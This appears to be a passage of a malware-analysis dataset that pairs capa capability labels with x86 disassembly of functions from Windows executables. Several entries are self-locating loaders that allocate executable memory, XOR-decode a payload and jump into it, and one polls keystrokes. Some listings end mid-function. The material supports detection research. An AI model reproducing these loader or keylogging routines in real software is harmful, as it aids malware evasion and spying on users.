joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42b310
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
jmp 0x42b32b
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xe3
jae 0x42b397
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
and edx, 1
je 0x42b36f
mov dword [ebp - 0x10], 0x9908b0df
jmp 0x42b376
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 + 0xff8]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x42b322
jmp 0x42b3a2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x26f
jae 0x42b40e
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 + 0x9c4]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 + 0x9c8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 0x14]
and edx, 1
je 0x42b3e6
mov dword [ebp - 0x18], 0x9908b0df
jmp 0x42b3ed
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x14]
shr eax, 1
xor eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x42b399
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + eax*4 + 0x9c4]
and edx, 0x80000000
mov eax, 4
imul ecx, eax, 0
mov eax, dword [ebp - 8]
mov ecx, dword [eax + ecx + 4]
and ecx, 0x7fffffff
or edx, ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
and edx, 1
je 0x42b44c
mov dword [ebp - 0x20], 0x9908b0df
jmp 0x42b453
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x1c]
shr eax, 1
xor eax, dword [ebp - 0x20]
mov ecx, 4
imul edx, ecx, 0x18c
mov ecx, dword [ebp - 8]
xor eax, dword [ecx + edx + 4]
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
mov dword [ecx + edx*4 + 4], eax
mov edx, dword [ebp - 8]
mov dword [edx], 0
mov esp, ebp
pop ebp
ret
Function at 0x42b490
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0x270
jmp 0x42b4ab
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x4e0
jae 0x42b517
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov eax, dword [edx + ecx*4 - 0x9bc]
and eax, 0x80000000
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov ecx, dword [edx + ecx*4 - 0x9b8]
and ecx, 0x7fffffff
or eax, ecx
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
and edx, 1
je 0x42b4ef
mov dword [ebp - 0x10], 0x9908b0df
jmp 0x42b4f6
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0xc]
shr eax, 1
xor eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
xor eax, dword [edx + ecx*4 - 0x388]
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
mov dword [edx + ecx*4 + 4], eax
jmp 0x42b4a2
mov esp, ebp
pop ebp
ret
Function at 0x4744bf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x4744ce
pop dword [ebp - 0x2c]
mov eax, 0x4744ce
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x1ae810fb
sub dword [ebp - 0x3c], 0xcc95cbb0
mov dword [ebp - 0x38], 0xc2c6a941
sub dword [ebp - 0x38], 0x90935cfc
mov dword [ebp - 0x34], 0xe4992624
add dword [ebp - 0x34], 0x67b31e0a
mov dword [ebp - 0x30], 0x32a8954b
add dword [ebp - 0x30], 0xcd576ab5
lea eax, [ebp - 0x3c]
push eax
mov eax, 0xf07cf8a7
add eax, 0xfcf09f1
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x9add4538
sub dword [ebp - 0x3c], 0x266adbe2
mov dword [ebp - 0x38], 0xec784309
sub dword [ebp - 0x38], 0xab0be194
mov dword [ebp - 0x34], 0x96dbe8d7
add dword [ebp - 0x34], 0xcc938395
mov dword [ebp - 0x30], 0x38106b53
add dword [ebp - 0x30], 0xc7ef94ad
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x74601
push 0
call eax
mov ecx, 0x5306
mov edi, eax
mov ebx, 0x537400
add ebx, dword [ebp - 0x2c]
mov edx, 0x56ed432e
sub edx, 0x2319df92
xor dword [ebp - 4], eax
mov esi, dword [ebx]
xor dword [ebp - 0x10], 0x5a9c1844
xor esi, edx
xor dword [ebp - 0x14], ebx
mov dword [edi], esi
xor dword [ebp - 0x20], edi
add edi, 0xa3fd9b2f
add edi, 0x5c0264d5
add ebx, 0xef1ec72f
add ebx, 0x10e138d5
loop 0x4745da
add eax, 0xe4a13f55
add eax, 0x1b5fff96
xor ebx, ebx
add ebx, eax
add eax, 0x789ed2f5
sub eax, 0x789ed2f0
mov ecx, 0x433d8cc7
sub ecx, 0x42fd8cc7
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x401370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
and eax, 0xffff
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
jne 0x401392
pop esi
pop ebp
ret 8
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
pop esi
pop ebp
ret 8

Function at 0x407b21
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d6a8
cmp edx, dword [eax]
je 0x407b43
add eax, 8
inc ecx
cmp eax, 0x40d738
jl 0x407b34
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d6a8]
jne 0x407c71
mov eax, dword [0x410178]
cmp eax, 1
je 0x407c4b
test eax, eax
jne 0x407b74
cmp dword [0x40d5dc], 1
je 0x407c4b
cmp edx, 0xfc
je 0x407c71
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x407bab
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00408240
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00408470
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x407bee
lea eax, [ebp - 0x1a4]
push eax
call fcn.00408470
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b9a0
push edi
call fcn.00409c40
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00408240
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00408250
lea eax, [ebp - 0xa0]
push 0x40b980
push eax
call fcn.00408250
push dword [esi + 0x40d6ac]
lea eax, [ebp - 0xa0]
push eax
call fcn.00408250
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00409bb4
add esp, 0x2c
pop edi
jmp 0x407c71
lea eax, [ebp + 8]
lea esi, [esi + 0x40d6ac]
push 0
push eax
push dword [esi]
call fcn.00408470
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad771d5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x3ad771e4
pop dword [ebp - 0x1c]
mov eax, 0x3e87abc3
sub eax, 0x3b039df
sub dword [ebp - 0x1c], eax
push 0x40
push 0x1000
push 0x353c8
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x1c]
call dword [eax]
mov ecx, 0x800cb8af
sub ecx, 0x800c7aab
xor edi, edi
add edi, eax
mov ebx, 0x3ad88e00
add ebx, dword [ebp - 0x1c]
mov esi, 0x8b23f6d7
add dword [ebp - 0xc], 0xf38a9293
mov edx, dword [ebx]
xor dword [ebp - 0xc], eax
xor edx, esi
mov dword [ebp - 0x14], 0xcea6b38b
mov dword [edi], edx
sub dword [ebp - 8], edi
add edi, 0x4862fe1a
add edi, 0xb79d01ea
add ebx, 0xec822593
add ebx, 0x137dda71
loop 0x3ad77234
add eax, 0xcbbcb22d
add eax, 0x344438b6
xor ebx, ebx
add ebx, eax
add eax, 0x371cb0de
sub eax, 0x371cb0d9
mov ecx, 0xe4b76d67
sub ecx, 0xa9e06d67
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x441ab0
Capabilities:
Reference wmi statements

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push 0x403c96
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push ebx
push esi
push edi
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x10], 0x403868
xor esi, esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x64], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x88], esi
mov dword [ebp - 0x8c], esi
mov dword [ebp - 0x90], esi
mov dword [ebp - 0xa0], esi
mov dword [ebp - 0xb0], esi
mov dword [ebp - 0xc0], esi
mov dword [ebp - 0xd0], esi
mov dword [ebp - 0xe0], esi
mov dword [ebp - 0xf0], esi
mov dword [ebp - 0x100], esi
mov dword [ebp - 0x110], esi
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x134], esi
push 1
call dword [sym.imp.MSVBVM60.DLL___vbaOnError]
mov dword [ebp - 0xd8], esi
mov ebx, 2
mov dword [ebp - 0xe0], ebx
lea edx, [ebp - 0xe0]
lea ecx, [ebp - 0x54]
mov edi, dword [sym.imp.MSVBVM60.DLL___vbaVarMove]
call edi
mov dword [ebp - 0xd8], esi
mov dword [ebp - 0xe0], ebx
lea edx, [ebp - 0xe0]
lea ecx, [ebp - 0x44]
call edi
mov dword [ebp - 0xd8], esi
mov dword [ebp - 0xe0], ebx
lea edx, [ebp - 0xe0]
lea ecx, [ebp - 0x64]
call edi
push 0x4470f0
call dword [sym.imp.MSVBVM60.DLL___vbaDateVar]
fstp qword [ebp - 0x6c]
lea eax, [ebp - 0xa0]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcGetPresentDate]
lea ecx, [ebp - 0xa0]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaDateVar]
fstp qword [ebp - 0x30]
lea ecx, [ebp - 0xa0]
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVar]
mov dword [ebp - 0xa8], 0x80020004
mov dword [ebp - 0xb0], 0xa
mov dword [ebp - 0xd8], 0x40d140
mov dword [ebp - 0xe0], 8
Function at 0x1000b197
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, ecx
test si, si
jne 0x1000b24c
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x1000b24c
mov edx, dword [esi + 0x3c]
test dl, 3
jne 0x1000b24c
cmp dword [edx + esi], 0x4550
jne 0x1000b24c
cmp dword [edx + esi + 0x74], 6
jb 0x1000b24c
push ebx
mov ebx, dword [edx + esi + 0x50]
push edi
mov edi, dword [edx + esi + 0xa8]
lea eax, [ebx - 1]
lea ecx, [edi - 1]
cmp ecx, eax
jae 0x1000b24a
mov eax, dword [edx + esi + 0xac]
mov ecx, ebx
sub ecx, edi
cmp eax, ecx
ja 0x1000b24a
xor edx, edx
add edi, esi
push 0x1c
pop ecx
div ecx
mov edx, eax
test edx, edx
je 0x1000b24a
imul ecx, edx, 0x1c
add ecx, 0x14
add ecx, edi
lea ecx, [ecx - 0x1c]
dec edx
cmp dword [ecx - 8], 2
lea edi, [ecx - 0x14]
jne 0x1000b228
cmp dword [ecx], ebx
jae 0x1000b228
mov eax, ebx
sub eax, dword [ecx]
cmp dword [ecx - 4], eax
jbe 0x1000b22e
test edx, edx
jne 0x1000b20e
jmp 0x1000b24a
push 0x1c
push edi
call dword [sym.imp.kernel32.dll_VirtualLock]
test eax, eax
je 0x1000b24a
mov eax, dword [edi + 0x14]
push dword [edi + 0x10]
add eax, esi
push eax
call dword [sym.imp.kernel32.dll_VirtualLock]
pop edi
pop ebx
pop esi
ret

Function at 0x1000c446
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1000c455
pop dword [ebp - 0x34]
mov eax, 0x1000c455
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x3c38d
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x8706c8fd
add ecx, 0x78f98bff
mov edx, eax
mov esi, 0x785df51b
add esi, 0x97a390e5
add esi, dword [ebp - 0x34]
mov ebx, 0x6912cfb3
sub ebx, 0x21f8fcbd
xor dword [ebp - 0x20], edx
mov edi, dword [esi]
xor dword [ebp - 0x30], 0x54c88d4d
sub edi, ebx
add dword [ebp - 0x30], 0x86e4c191
mov dword [edx], edi
xor dword [ebp - 0x18], 0x3b421938
add edx, 0xcf781a72
add edx, 0x3087e592
add esi, 0x9e4642d7
sub esi, 0x9e4642d3
loop 0x1000c4aa
add eax, 0xf819e6ac
add eax, 0x7e76017
mov ebx, eax
add eax, 0x377d89f3
sub eax, 0x377d89ee
mov ecx, 0x10000000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x409f50
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4960fb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048af42
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x409fd2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00488cbc
mov eax, dword [eax]
push 0x4b3c68
push eax
call fcn.0047af04
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.0048b1cd
test bl, bl
je 0x409fd2
push 0x4b3c68
lea ecx, [esp + 0xc]
call fcn.0048b55d
push 0x4b3c74
lea ecx, [esp + 0xc]
call fcn.0048b55d
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40a00e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.0048b1cd
jmp 0x40a0d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40a092
lea edx, [esp + 0x7c]
push 0x4b3c70
push edx
call fcn.0047af04
add esp, 8
test eax, eax
je 0x40a092
lea eax, [esp + 0x7c]
push 0x4b3c6c
push eax
call fcn.0047af04
add esp, 8
test eax, eax
je 0x40a092
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40a022
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.0048b1cd
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40a8e0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40a942
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40a950
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49617b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x4c3090]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40aa88
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40a9b6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b1cd
xor eax, eax
jmp 0x40aaff
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048b30a
push esi
lea ecx, [esp + 0xc]
call fcn.0048b599
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40aadd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.0040a8e0
test eax, eax
jne 0x40aadd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.0040a8e0
test eax, eax
jne 0x40aadd
lea eax, [esp + 0x14]
push 0x4b3c84
push eax
call fcn.0047bfa0
mov esi, eax
add esp, 8
test esi, esi
jne 0x40aabc
lea ecx, [esp + 0x14]
push 0x4b3c80
push ecx
call fcn.0047bf20
mov esi, eax
add esp, 8
test esi, esi
jne 0x40aabc
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40aabf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048b2ba
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40a9ce
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.0048b1cd
xor eax, eax
jmp 0x40aaff
mov byte [esi], 0
push 0x4b3c7c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.0048b1cd
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41b880
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41b8ee
cmp si, 0x69
ja 0x41b8ee
add esi, 0xffd0
cmp si, 0x11
je 0x41b8be
push 0x11
call edi
test ax, ax
jge 0x41b8be
or esi, 0x2000
cmp si, 0x10
je 0x41b8d3
push 0x10
call edi
test ax, ax
jge 0x41b8d3
or esi, 0x4000
cmp si, 0x12
je 0x41b8e8
push 0x12
call edi
test ax, ax
jge 0x41b8e8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41b8fb
mov esi, 0xbd
jmp 0x41b8af
cmp si, 0x6e
jne 0x41b908
mov esi, 0xbe
jmp 0x41b8af
cmp si, 0x6f
jne 0x41b8a9
mov esi, 0xbf
jmp 0x41b8af

Function at 0x41d1e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4d37f8]
xor edx, edx
cmp eax, edx
jne 0x41d206
xor eax, eax
mov byte [eax + 0x4d36f8], al
inc eax
cmp eax, 0x100
jl 0x41d1ee
mov dword [0x4d37f8], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4d36f8
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41d297
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41d26a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41d238
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41d310
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41d363
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41d34a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4243a0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x18
mov eax, dword [esp + 0x1c]
push ebx
push ebp
push esi
xor esi, esi
xor ecx, ecx
mov si, word [eax + 8]
mov cx, word [eax + 4]
xor ebp, ebp
xor edx, edx
mov bp, word [eax + 0xa]
mov dx, word [eax + 6]
sub esi, ecx
sub ebp, edx
inc esi
xor ebx, ebx
inc ebp
cmp esi, ebx
mov dword [esp + 0x14], esi
jle 0x424538
cmp ebp, ebx
jle 0x424538
mov eax, esi
push edi
cdq
and edx, 7
add eax, edx
mov edi, eax
mov eax, esi
sar edi, 3
and eax, 0x80000007
mov dword [esp + 0x10], edi
jns 0x4243fe
dec eax
or eax, 0xfffffff8
inc eax
je 0x424405
inc edi
mov dword [esp + 0x10], edi
mov ecx, edi
and ecx, reloc.WS2_32.dll_accept
jns 0x424414
dec ecx
or ecx, 0xfffffffe
inc ecx
je 0x42441b
inc edi
mov dword [esp + 0x10], edi
push 0x18
call fcn.0048af0e
add esp, 4
cmp eax, ebx
je 0x42443c
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov dword [eax + 0x10], ebx
mov dword [eax + 0x14], ebx
mov ebx, eax
mov eax, edi
mov dword [esp + 0x14], ebx
imul eax, ebp
push eax
mov dword [ebx], 7
mov dword [ebx + 4], esi
mov dword [ebx + 8], ebp
mov dword [ebx + 0x14], eax
call fcn.0048af0e
mov ecx, dword [ebx + 0x14]
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx + 0x10], edi
add esp, 4
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
test ebp, ebp
lea edx, [eax + 0x80]
jle 0x42452e
xor eax, eax
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov ebp, dword [ebx + 0x10]
xor ecx, ecx
add ebp, eax
mov dword [esp + 0x2c], ecx
test esi, esi
jle 0x424515
mov al, byte [edx]
cmp al, 0xc0
jbe 0x424501
and eax, 0xff
sub eax, 0xc0
inc edx
mov esi, eax
mov dword [esp + 0x24], edx
cmp esi, 1
jle 0x4244f6
xor eax, eax
mov ecx, esi
mov al, byte [edx]
mov edx, ecx
mov bl, al
mov edi, ebp
mov bh, bl
dec esi
mov eax, ebx
shl eax, 0x10
mov ax, bx
mov ebx, dword [esp + 0x14]
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov edx, dword [esp + 0x24]
and ecx, 3
add ebp, esi
rep stosb byte es:[edi], al
mov eax, dword [esp + 0x2c]
lea ecx, [eax + esi*8]
mov esi, dword [esp + 0x18]
jmp 0x424504
mov al, byte [edx]
mov esi, dword [esp + 0x18]
mov byte [ebp], al
jmp 0x424504
mov byte [ebp], al
inc ebp
add ecx, 8
inc edx
cmp ecx, esi
mov dword [esp + 0x2c], ecx
jl 0x4244a0
mov eax, dword [esp + 0x1c]
mov edi, dword [esp + 0x10]
mov ecx, dword [esp + 0x20]
add eax, edi
dec ecx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ecx
jne 0x424491
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x18
ret
Function at 0x427840
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x497838
push eax
mov dword fs:[0], esp
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x44]
mov esi, ecx
test edi, edi
jne 0x427879
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
add esp, 0x34
ret 0x24
push 0x400
lea ecx, [esp + 0xc]
call fcn.004928bb
mov eax, dword [esp + 0x40]
push 0
push edi
push eax
lea ecx, [esp + 0x14]
mov dword [esp + 0x44], 0
call fcn.00492907
mov ecx, dword [esp + 0x60]
mov edx, dword [esp + 0x5c]
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
mov edx, dword [esp + 0x58]
push eax
mov eax, dword [esp + 0x58]
push ecx
mov ecx, dword [esp + 0x58]
push edx
push eax
lea edx, [esp + 0x20]
push ecx
push edx
mov ecx, esi
call fcn.00427900
lea ecx, [esp + 8]
mov esi, eax
mov dword [esp + 0x38], 0xffffffff
call fcn.00492944
mov ecx, dword [esp + 0x30]
